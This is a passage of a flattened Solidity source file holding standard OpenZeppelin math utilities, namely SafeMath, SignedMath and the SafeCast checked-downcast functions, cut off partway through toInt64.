     * @dev Returns the downcasted int8 from int256, reverting on
     * overflow (when the input is less than smallest int8 or
     * greater than largest int8).
     *
     * Counterpart to Solidity's `int8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     *
     * _Available since v3.1._
     */
    function toInt8(int256 value) internal pure returns (int8 downcasted) {
        downcasted = int8(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
    }

    /**
     * @dev Converts an unsigned uint256 into a signed int256.
     *
     * Requirements:
     *
     * - input must be less than or equal to maxInt256.
     *
     * _Available since v3.0._
     */
    function toInt256(uint256 value) internal pure returns (int256) {
        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
        require(
            value <= uint256(type(int256).max),
            "SafeCast: value doesn't fit in an int256"
        );
        return int256(value);
    }
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)
// This file was procedurally generated from scripts/generate/templates/SafeCast.js.

pragma solidity ^0.8.0;

/**
 * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
 * checks.
 *
 * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
 * easily result in undesired exploitation or bugs, since developers usually
 * assume that overflows raise errors. `SafeCast` restores this intuition by
 * reverting the transaction when such an operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 *
 * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
 * all math on `uint256` and `int256` and then downcasting.
 */
library SafeCast {
    /**
     * @dev Returns the downcasted uint248 from uint256, reverting on
     * overflow (when the input is greater than largest uint248).
     *
     * Counterpart to Solidity's `uint248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     *
     * _Available since v4.7._
     */
    function toUint248(uint256 value) internal pure returns (uint248) {
        require(
            value <= type(uint248).max,
            "SafeCast: value doesn't fit in 248 bits"
        );
        return uint248(value);
    }

    /**
     * @dev Returns the downcasted uint240 from uint256, reverting on
     * overflow (when the input is greater than largest uint240).
     *
     * Counterpart to Solidity's `uint240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     *
     * _Available since v4.7._
     */
    function toUint240(uint256 value) internal pure returns (uint240) {
        require(
            value <= type(uint240).max,
            "SafeCast: value doesn't fit in 240 bits"
        );
        return uint240(value);
    }

    /**
     * @dev Returns the downcasted uint232 from uint256, reverting on
     * overflow (when the input is greater than largest uint232).
     *
     * Counterpart to Solidity's `uint232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     *
     * _Available since v4.7._
     */
    function toUint232(uint256 value) internal pure returns (uint232) {
        require(
            value <= type(uint232).max,
            "SafeCast: value doesn't fit in 232 bits"
        );
        return uint232(value);
    }

    /**
     * @dev Returns the downcasted uint224 from uint256, reverting on
     * overflow (when the input is greater than largest uint224).
     *
     * Counterpart to Solidity's `uint224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     *
     * _Available since v4.2._
     */
    function toUint224(uint256 value) internal pure returns (uint224) {
        require(
            value <= type(uint224).max,
            "SafeCast: value doesn't fit in 224 bits"
        );
        return uint224(value);
    }

    /**
     * @dev Returns the downcasted uint216 from uint256, reverting on
     * overflow (when the input is greater than largest uint216).
     *
     * Counterpart to Solidity's `uint216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     *
     * _Available since v4.7._
     */
    function toUint216(uint256 value) internal pure returns (uint216) {
        require(
            value <= type(uint216).max,
            "SafeCast: value doesn't fit in 216 bits"
        );
        return uint216(value);
    }

    /**
     * @dev Returns the downcasted uint208 from uint256, reverting on
     * overflow (when the input is greater than largest uint208).
     *
     * Counterpart to Solidity's `uint208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     *
     * _Available since v4.7._
     */
    function toUint208(uint256 value) internal pure returns (uint208) {
        require(
            value <= type(uint208).max,
            "SafeCast: value doesn't fit in 208 bits"
        );
        return uint208(value);
    }

    /**
     * @dev Returns the downcasted uint200 from uint256, reverting on
     * overflow (when the input is greater than largest uint200).
     *
     * Counterpart to Solidity's `uint200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     *
     * _Available since v4.7._
     */
    function toUint200(uint256 value) internal pure returns (uint200) {
        require(
            value <= type(uint200).max,
            "SafeCast: value doesn't fit in 200 bits"
        );
        return uint200(value);
    }

    /**
     * @dev Returns the downcasted uint192 from uint256, reverting on
     * overflow (when the input is greater than largest uint192).
     *
     * Counterpart to Solidity's `uint192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     *
     * _Available since v4.7._
     */
    function toUint192(uint256 value) internal pure returns (uint192) {
        require(
            value <= type(uint192).max,
            "SafeCast: value doesn't fit in 192 bits"
        );
        return uint192(value);
    }

    /**
     * @dev Returns the downcasted uint184 from uint256, reverting on
     * overflow (when the input is greater than largest uint184).
     *
     * Counterpart to Solidity's `uint184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     *
     * _Available since v4.7._
     */
    function toUint184(uint256 value) internal pure returns (uint184) {
        require(
            value <= type(uint184).max,
            "SafeCast: value doesn't fit in 184 bits"
        );
        return uint184(value);
    }

    /**
     * @dev Returns the downcasted uint176 from uint256, reverting on
     * overflow (when the input is greater than largest uint176).
     *
     * Counterpart to Solidity's `uint176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     *
     * _Available since v4.7._
     */
    function toUint176(uint256 value) internal pure returns (uint176) {
        require(
            value <= type(uint176).max,
            "SafeCast: value doesn't fit in 176 bits"
        );
        return uint176(value);
    }

    /**
     * @dev Returns the downcasted uint168 from uint256, reverting on
     * overflow (when the input is greater than largest uint168).
     *
     * Counterpart to Solidity's `uint168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     *
     * _Available since v4.7._
     */
    function toUint168(uint256 value) internal pure returns (uint168) {
        require(
            value <= type(uint168).max,
            "SafeCast: value doesn't fit in 168 bits"
        );
        return uint168(value);
    }

    /**
     * @dev Returns the downcasted uint160 from uint256, reverting on
     * overflow (when the input is greater than largest uint160).
     *
     * Counterpart to Solidity's `uint160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     *
     * _Available since v4.7._
     */
    function toUint160(uint256 value) internal pure returns (uint160) {
        require(
            value <= type(uint160).max,
            "SafeCast: value doesn't fit in 160 bits"
        );
        return uint160(value);
    }

    /**
     * @dev Returns the downcasted uint152 from uint256, reverting on
     * overflow (when the input is greater than largest uint152).
     *
     * Counterpart to Solidity's `uint152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     *
     * _Available since v4.7._
     */
    function toUint152(uint256 value) internal pure returns (uint152) {
        require(
            value <= type(uint152).max,
            "SafeCast: value doesn't fit in 152 bits"
        );
        return uint152(value);
    }

    /**
     * @dev Returns the downcasted uint144 from uint256, reverting on
     * overflow (when the input is greater than largest uint144).
     *
     * Counterpart to Solidity's `uint144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     *
     * _Available since v4.7._
     */
    function toUint144(uint256 value) internal pure returns (uint144) {
        require(
            value <= type(uint144).max,
            "SafeCast: value doesn't fit in 144 bits"
        );
        return uint144(value);
    }

    /**
     * @dev Returns the downcasted uint136 from uint256, reverting on
     * overflow (when the input is greater than largest uint136).
     *
     * Counterpart to Solidity's `uint136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     *
     * _Available since v4.7._
     */
    function toUint136(uint256 value) internal pure returns (uint136) {
        require(
            value <= type(uint136).max,
            "SafeCast: value doesn't fit in 136 bits"
        );
        return uint136(value);
    }

    /**
     * @dev Returns the downcasted uint128 from uint256, reverting on
     * overflow (when the input is greater than largest uint128).
     *
     * Counterpart to Solidity's `uint128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     *
     * _Available since v2.5._
     */
    function toUint128(uint256 value) internal pure returns (uint128) {
        require(
            value <= type(uint128).max,
            "SafeCast: value doesn't fit in 128 bits"
        );
        return uint128(value);
    }

    /**
     * @dev Returns the downcasted uint120 from uint256, reverting on
     * overflow (when the input is greater than largest uint120).
     *
     * Counterpart to Solidity's `uint120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     *
     * _Available since v4.7._
     */
    function toUint120(uint256 value) internal pure returns (uint120) {
        require(
            value <= type(uint120).max,
            "SafeCast: value doesn't fit in 120 bits"
        );
        return uint120(value);
    }

    /**
     * @dev Returns the downcasted uint112 from uint256, reverting on
     * overflow (when the input is greater than largest uint112).
     *
     * Counterpart to Solidity's `uint112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     *
     * _Available since v4.7._
     */
    function toUint112(uint256 value) internal pure returns (uint112) {
        require(
            value <= type(uint112).max,
            "SafeCast: value doesn't fit in 112 bits"
        );
        return uint112(value);
    }

    /**
     * @dev Returns the downcasted uint104 from uint256, reverting on
     * overflow (when the input is greater than largest uint104).
     *
     * Counterpart to Solidity's `uint104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     *
     * _Available since v4.7._
     */
    function toUint104(uint256 value) internal pure returns (uint104) {
        require(
            value <= type(uint104).max,
            "SafeCast: value doesn't fit in 104 bits"
        );
        return uint104(value);
    }

    /**
     * @dev Returns the downcasted uint96 from uint256, reverting on
     * overflow (when the input is greater than largest uint96).
     *
     * Counterpart to Solidity's `uint96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     *
     * _Available since v4.2._
     */
    function toUint96(uint256 value) internal pure returns (uint96) {
        require(
            value <= type(uint96).max,
            "SafeCast: value doesn't fit in 96 bits"
        );
        return uint96(value);
    }

    /**
     * @dev Returns the downcasted uint88 from uint256, reverting on
     * overflow (when the input is greater than largest uint88).
     *
     * Counterpart to Solidity's `uint88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     *
     * _Available since v4.7._
     */
    function toUint88(uint256 value) internal pure returns (uint88) {
        require(
            value <= type(uint88).max,
            "SafeCast: value doesn't fit in 88 bits"
        );
        return uint88(value);
    }

    /**
     * @dev Returns the downcasted uint80 from uint256, reverting on
     * overflow (when the input is greater than largest uint80).
     *
     * Counterpart to Solidity's `uint80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     *
     * _Available since v4.7._
     */
    function toUint80(uint256 value) internal pure returns (uint80) {
        require(
            value <= type(uint80).max,
            "SafeCast: value doesn't fit in 80 bits"
        );
        return uint80(value);
    }

    /**
     * @dev Returns the downcasted uint72 from uint256, reverting on
     * overflow (when the input is greater than largest uint72).
     *
     * Counterpart to Solidity's `uint72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     *
     * _Available since v4.7._
     */
    function toUint72(uint256 value) internal pure returns (uint72) {
        require(
            value <= type(uint72).max,
            "SafeCast: value doesn't fit in 72 bits"
        );
        return uint72(value);
    }

    /**
     * @dev Returns the downcasted uint64 from uint256, reverting on
     * overflow (when the input is greater than largest uint64).
     *
     * Counterpart to Solidity's `uint64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     *
     * _Available since v2.5._
     */
    function toUint64(uint256 value) internal pure returns (uint64) {
        require(
            value <= type(uint64).max,
            "SafeCast: value doesn't fit in 64 bits"
        );
        return uint64(value);
    }

    /**
     * @dev Returns the downcasted uint56 from uint256, reverting on
     * overflow (when the input is greater than largest uint56).
     *
     * Counterpart to Solidity's `uint56` operator.
     *
     * Requirements:
     *
     * - input must fit into 56 bits
     *
     * _Available since v4.7._
     */
    function toUint56(uint256 value) internal pure returns (uint56) {
        require(
            value <= type(uint56).max,
            "SafeCast: value doesn't fit in 56 bits"
        );
        return uint56(value);
    }

    /**
     * @dev Returns the downcasted uint48 from uint256, reverting on
     * overflow (when the input is greater than largest uint48).
     *
     * Counterpart to Solidity's `uint48` operator.
     *
     * Requirements:
     *
     * - input must fit into 48 bits
     *
     * _Available since v4.7._
     */
    function toUint48(uint256 value) internal pure returns (uint48) {
        require(
            value <= type(uint48).max,
            "SafeCast: value doesn't fit in 48 bits"
        );
        return uint48(value);
    }

    /**
     * @dev Returns the downcasted uint40 from uint256, reverting on
     * overflow (when the input is greater than largest uint40).
     *
     * Counterpart to Solidity's `uint40` operator.
     *
     * Requirements:
     *
     * - input must fit into 40 bits
     *
     * _Available since v4.7._
     */
    function toUint40(uint256 value) internal pure returns (uint40) {
        require(
            value <= type(uint40).max,
            "SafeCast: value doesn't fit in 40 bits"
        );
        return uint40(value);
    }

    /**
     * @dev Returns the downcasted uint32 from uint256, reverting on
     * overflow (when the input is greater than largest uint32).
     *
     * Counterpart to Solidity's `uint32` operator.
     *
     * Requirements:
     *
     * - input must fit into 32 bits
     *
     * _Available since v2.5._
     */
    function toUint32(uint256 value) internal pure returns (uint32) {
        require(
            value <= type(uint32).max,
            "SafeCast: value doesn't fit in 32 bits"
        );
        return uint32(value);
    }

    /**
     * @dev Returns the downcasted uint24 from uint256, reverting on
     * overflow (when the input is greater than largest uint24).
     *
     * Counterpart to Solidity's `uint24` operator.
     *
     * Requirements:
     *
     * - input must fit into 24 bits
     *
     * _Available since v4.7._
     */
    function toUint24(uint256 value) internal pure returns (uint24) {
        require(
            value <= type(uint24).max,
            "SafeCast: value doesn't fit in 24 bits"
        );
        return uint24(value);
    }

    /**
     * @dev Returns the downcasted uint16 from uint256, reverting on
     * overflow (when the input is greater than largest uint16).
     *
     * Counterpart to Solidity's `uint16` operator.
     *
     * Requirements:
     *
     * - input must fit into 16 bits
     *
     * _Available since v2.5._
     */
    function toUint16(uint256 value) internal pure returns (uint16) {
        require(
            value <= type(uint16).max,
            "SafeCast: value doesn't fit in 16 bits"
        );
        return uint16(value);
    }

    /**
     * @dev Returns the downcasted uint8 from uint256, reverting on
     * overflow (when the input is greater than largest uint8).
     *
     * Counterpart to Solidity's `uint8` operator.
     *
     * Requirements:
     *
     * - input must fit into 8 bits
     *
     * _Available since v2.5._
     */
    function toUint8(uint256 value) internal pure returns (uint8) {
        require(
            value <= type(uint8).max,
            "SafeCast: value doesn't fit in 8 bits"
        );
        return uint8(value);
    }

    /**
     * @dev Converts a signed int256 into an unsigned uint256.
     *
     * Requirements:
     *
     * - input must be greater than or equal to 0.
     *
     * _Available since v3.0._
     */
    function toUint256(int256 value) internal pure returns (uint256) {
        require(value >= 0, "SafeCast: value must be positive");
        return uint256(value);
    }

    /**
     * @dev Returns the downcasted int248 from int256, reverting on
     * overflow (when the input is less than smallest int248 or
     * greater than largest int248).
     *
     * Counterpart to Solidity's `int248` operator.
     *
     * Requirements:
     *
     * - input must fit into 248 bits
     *
     * _Available since v4.7._
     */
    function toInt248(int256 value) internal pure returns (int248 downcasted) {
        downcasted = int248(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 248 bits");
    }

    /**
     * @dev Returns the downcasted int240 from int256, reverting on
     * overflow (when the input is less than smallest int240 or
     * greater than largest int240).
     *
     * Counterpart to Solidity's `int240` operator.
     *
     * Requirements:
     *
     * - input must fit into 240 bits
     *
     * _Available since v4.7._
     */
    function toInt240(int256 value) internal pure returns (int240 downcasted) {
        downcasted = int240(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 240 bits");
    }

    /**
     * @dev Returns the downcasted int232 from int256, reverting on
     * overflow (when the input is less than smallest int232 or
     * greater than largest int232).
     *
     * Counterpart to Solidity's `int232` operator.
     *
     * Requirements:
     *
     * - input must fit into 232 bits
     *
     * _Available since v4.7._
     */
    function toInt232(int256 value) internal pure returns (int232 downcasted) {
        downcasted = int232(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 232 bits");
    }

    /**
     * @dev Returns the downcasted int224 from int256, reverting on
     * overflow (when the input is less than smallest int224 or
     * greater than largest int224).
     *
     * Counterpart to Solidity's `int224` operator.
     *
     * Requirements:
     *
     * - input must fit into 224 bits
     *
     * _Available since v4.7._
     */
    function toInt224(int256 value) internal pure returns (int224 downcasted) {
        downcasted = int224(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 224 bits");
    }

    /**
     * @dev Returns the downcasted int216 from int256, reverting on
     * overflow (when the input is less than smallest int216 or
     * greater than largest int216).
     *
     * Counterpart to Solidity's `int216` operator.
     *
     * Requirements:
     *
     * - input must fit into 216 bits
     *
     * _Available since v4.7._
     */
    function toInt216(int256 value) internal pure returns (int216 downcasted) {
        downcasted = int216(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 216 bits");
    }

    /**
     * @dev Returns the downcasted int208 from int256, reverting on
     * overflow (when the input is less than smallest int208 or
     * greater than largest int208).
     *
     * Counterpart to Solidity's `int208` operator.
     *
     * Requirements:
     *
     * - input must fit into 208 bits
     *
     * _Available since v4.7._
     */
    function toInt208(int256 value) internal pure returns (int208 downcasted) {
        downcasted = int208(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 208 bits");
    }

    /**
     * @dev Returns the downcasted int200 from int256, reverting on
     * overflow (when the input is less than smallest int200 or
     * greater than largest int200).
     *
     * Counterpart to Solidity's `int200` operator.
     *
     * Requirements:
     *
     * - input must fit into 200 bits
     *
     * _Available since v4.7._
     */
    function toInt200(int256 value) internal pure returns (int200 downcasted) {
        downcasted = int200(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 200 bits");
    }

    /**
     * @dev Returns the downcasted int192 from int256, reverting on
     * overflow (when the input is less than smallest int192 or
     * greater than largest int192).
     *
     * Counterpart to Solidity's `int192` operator.
     *
     * Requirements:
     *
     * - input must fit into 192 bits
     *
     * _Available since v4.7._
     */
    function toInt192(int256 value) internal pure returns (int192 downcasted) {
        downcasted = int192(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 192 bits");
    }

    /**
     * @dev Returns the downcasted int184 from int256, reverting on
     * overflow (when the input is less than smallest int184 or
     * greater than largest int184).
     *
     * Counterpart to Solidity's `int184` operator.
     *
     * Requirements:
     *
     * - input must fit into 184 bits
     *
     * _Available since v4.7._
     */
    function toInt184(int256 value) internal pure returns (int184 downcasted) {
        downcasted = int184(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 184 bits");
    }

    /**
     * @dev Returns the downcasted int176 from int256, reverting on
     * overflow (when the input is less than smallest int176 or
     * greater than largest int176).
     *
     * Counterpart to Solidity's `int176` operator.
     *
     * Requirements:
     *
     * - input must fit into 176 bits
     *
     * _Available since v4.7._
     */
    function toInt176(int256 value) internal pure returns (int176 downcasted) {
        downcasted = int176(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 176 bits");
    }

    /**
     * @dev Returns the downcasted int168 from int256, reverting on
     * overflow (when the input is less than smallest int168 or
     * greater than largest int168).
     *
     * Counterpart to Solidity's `int168` operator.
     *
     * Requirements:
     *
     * - input must fit into 168 bits
     *
     * _Available since v4.7._
     */
    function toInt168(int256 value) internal pure returns (int168 downcasted) {
        downcasted = int168(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 168 bits");
    }

    /**
     * @dev Returns the downcasted int160 from int256, reverting on
     * overflow (when the input is less than smallest int160 or
     * greater than largest int160).
     *
     * Counterpart to Solidity's `int160` operator.
     *
     * Requirements:
     *
     * - input must fit into 160 bits
     *
     * _Available since v4.7._
     */
    function toInt160(int256 value) internal pure returns (int160 downcasted) {
        downcasted = int160(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 160 bits");
    }

    /**
     * @dev Returns the downcasted int152 from int256, reverting on
     * overflow (when the input is less than smallest int152 or
     * greater than largest int152).
     *
     * Counterpart to Solidity's `int152` operator.
     *
     * Requirements:
     *
     * - input must fit into 152 bits
     *
     * _Available since v4.7._
     */
    function toInt152(int256 value) internal pure returns (int152 downcasted) {
        downcasted = int152(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 152 bits");
    }

    /**
     * @dev Returns the downcasted int144 from int256, reverting on
     * overflow (when the input is less than smallest int144 or
     * greater than largest int144).
     *
     * Counterpart to Solidity's `int144` operator.
     *
     * Requirements:
     *
     * - input must fit into 144 bits
     *
     * _Available since v4.7._
     */
    function toInt144(int256 value) internal pure returns (int144 downcasted) {
        downcasted = int144(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 144 bits");
    }

    /**
     * @dev Returns the downcasted int136 from int256, reverting on
     * overflow (when the input is less than smallest int136 or
     * greater than largest int136).
     *
     * Counterpart to Solidity's `int136` operator.
     *
     * Requirements:
     *
     * - input must fit into 136 bits
     *
     * _Available since v4.7._
     */
    function toInt136(int256 value) internal pure returns (int136 downcasted) {
        downcasted = int136(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 136 bits");
    }

    /**
     * @dev Returns the downcasted int128 from int256, reverting on
     * overflow (when the input is less than smallest int128 or
     * greater than largest int128).
     *
     * Counterpart to Solidity's `int128` operator.
     *
     * Requirements:
     *
     * - input must fit into 128 bits
     *
     * _Available since v3.1._
     */
    function toInt128(int256 value) internal pure returns (int128 downcasted) {
        downcasted = int128(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 128 bits");
    }

    /**
     * @dev Returns the downcasted int120 from int256, reverting on
     * overflow (when the input is less than smallest int120 or
     * greater than largest int120).
     *
     * Counterpart to Solidity's `int120` operator.
     *
     * Requirements:
     *
     * - input must fit into 120 bits
     *
     * _Available since v4.7._
     */
    function toInt120(int256 value) internal pure returns (int120 downcasted) {
        downcasted = int120(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 120 bits");
    }

    /**
     * @dev Returns the downcasted int112 from int256, reverting on
     * overflow (when the input is less than smallest int112 or
     * greater than largest int112).
     *
     * Counterpart to Solidity's `int112` operator.
     *
     * Requirements:
     *
     * - input must fit into 112 bits
     *
     * _Available since v4.7._
     */
    function toInt112(int256 value) internal pure returns (int112 downcasted) {
        downcasted = int112(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 112 bits");
    }

    /**
     * @dev Returns the downcasted int104 from int256, reverting on
     * overflow (when the input is less than smallest int104 or
     * greater than largest int104).
     *
     * Counterpart to Solidity's `int104` operator.
     *
     * Requirements:
     *
     * - input must fit into 104 bits
     *
     * _Available since v4.7._
     */
    function toInt104(int256 value) internal pure returns (int104 downcasted) {
        downcasted = int104(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 104 bits");
    }

    /**
     * @dev Returns the downcasted int96 from int256, reverting on
     * overflow (when the input is less than smallest int96 or
     * greater than largest int96).
     *
     * Counterpart to Solidity's `int96` operator.
     *
     * Requirements:
     *
     * - input must fit into 96 bits
     *
     * _Available since v4.7._
     */
    function toInt96(int256 value) internal pure returns (int96 downcasted) {
        downcasted = int96(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
    }

    /**
     * @dev Returns the downcasted int88 from int256, reverting on
     * overflow (when the input is less than smallest int88 or
     * greater than largest int88).
     *
     * Counterpart to Solidity's `int88` operator.
     *
     * Requirements:
     *
     * - input must fit into 88 bits
     *
     * _Available since v4.7._
     */
    function toInt88(int256 value) internal pure returns (int88 downcasted) {
        downcasted = int88(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
    }

    /**
     * @dev Returns the downcasted int80 from int256, reverting on
     * overflow (when the input is less than smallest int80 or
     * greater than largest int80).
     *
     * Counterpart to Solidity's `int80` operator.
     *
     * Requirements:
     *
     * - input must fit into 80 bits
     *
     * _Available since v4.7._
     */
    function toInt80(int256 value) internal pure returns (int80 downcasted) {
        downcasted = int80(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
    }

    /**
     * @dev Returns the downcasted int72 from int256, reverting on
     * overflow (when the input is less than smallest int72 or
     * greater than largest int72).
     *
     * Counterpart to Solidity's `int72` operator.
     *
     * Requirements:
     *
     * - input must fit into 72 bits
     *
     * _Available since v4.7._
     */
    function toInt72(int256 value) internal pure returns (int72 downcasted) {
        downcasted = int72(value);
        require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
    }

    /**
     * @dev Returns the downcasted int64 from int256, reverting on
     * overflow (when the input is less than smallest int64 or
     * greater than largest int64).
     *
     * Counterpart to Solidity's `int64` operator.
     *
     * Requirements:
     *
     * - input must fit into 64 bits
     *
     * _Available since v3.1._
     */
    function toInt64(int256 value) internal pure returns (int64 downcasted) {
        downcasted = int64(value);
